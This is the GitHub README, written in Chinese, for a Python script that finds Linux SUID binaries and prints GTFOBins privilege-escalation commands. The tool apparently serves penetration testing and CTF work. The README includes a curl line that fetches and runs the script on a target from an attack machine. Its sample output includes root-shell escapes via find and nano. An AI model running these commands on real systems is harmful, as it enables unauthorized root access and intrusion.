TheGreenJoker/Gtfo-Suid
GitHub: TheGreenJoker/Gtfo-Suid
一个轻量级 Python3 脚本,用于扫描 Linux SUID 二进制文件并与 GTFOBins 数据库交叉比对以输出可用的提权命令。
Stars: 0 | Forks: 0
# gtfo_suid
一个用于 Linux 提权侦察的轻量级 Python3 脚本 —— 扫描当前机器上的 SUID 二进制文件,并与 [GTFOBins](https://gtfobins.org) 数据库进行交叉比对,以提取可直接使用的 exploit 命令。
```
██████╗ ████████╗███████╗ ██████╗ ███████╗██╗ ██╗██╗██████╗
██╔════╝╚══██╔══╝██╔════╝██╔═══██╗ ██╔════╝██║ ██║██║██╔══██╗
██║ ███╗ ██║ █████╗ ██║ ██║ ███████╗██║ ██║██║██║ ██║
██║ ██║ ██║ ██╔══╝ ██║ ██║ ╚════██║██║ ██║██║██║ ██║
╚██████╔╝ ██║ ██║ ╚██████╔╝ ███████║╚██████╔╝██║██████╔╝
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═╝╚═════╝
SUID PrivEsc — powered by GTFOBins
```
## 功能
- **零依赖** —— 纯 Python3 标准库,无需 pip install
- **实时 GTFOBins 数据** —— 在运行时获取官方的 `api.json`(包含 478+ 个二进制文件)
- **SUID 感知** —— 区分通用代码和特定于 SUID 的 exploit 变体
- **完整列表** —— 显示找到的所有 SUID 二进制文件,并由 GTFOBins 标记为已知/未知
- **可直接复制粘贴** —— exploit 命令按原样打印,每行一条
## 用法
```
python3 gtfo_suid.py
```
无需任何参数。该脚本将会:
1. 获取 GTFOBins 数据库
2. 扫描系统中的 SUID 二进制文件 (`find / -perm -4000`)
3. 交叉比对并打印存在漏洞的二进制文件及其相关命令
### 传输至目标机器(典型渗透测试工作流)
在你的攻击机上:
```
python3 -m http.server 8080
```
在目标机器上(低权限 shell):
```
python3 <(curl http://:8080/gtfo_suid.py)
```
## 输出示例
```
════════════════════════════════════════════════════════════
⚡ 2 EXPLOITABLE SUID BINARIES FOUND
════════════════════════════════════════════════════════════
┌─ nano /usr/bin/nano
│ GTFOBins: https://gtfobins.org/gtfobins/nano/
│
│ [SHELL]
│ nano
│ ^R^X
│ reset; sh 1>&0 2>&0
│
│ nano -s '/bin/sh -p'
│ /bin/sh -p
│ ^T^T
│
│ [FILE-READ]
│ nano /path/to/input-file
└──────────────────────────────────────────────────────────
┌─ find /usr/bin/find
│ GTFOBins: https://gtfobins.org/gtfobins/find/
│
│ [SHELL]
│ find . -exec /bin/sh -p \; -quit
└──────────────────────────────────────────────────────────
```
## 环境要求
- Python 3.x
- 需要可访问 `gtfobins.org` 的网络连接
- 目标机器上需有 `find` 命令(任何 Linux 系统均自带)
## 免责声明
本工具仅供**授权的渗透测试和 CTF 练习使用**。请仅在你拥有或已获得明确测试许可的系统上使用。
## 致谢
- 由 [@norbemi](https://x.com/norbemi) 和 [@cyrus_and](https://x.com/cyrus_and) 创建的 [GTFOBins](https://gtfobins.org)
标签:Python3, SUID, 协议分析, 权限提升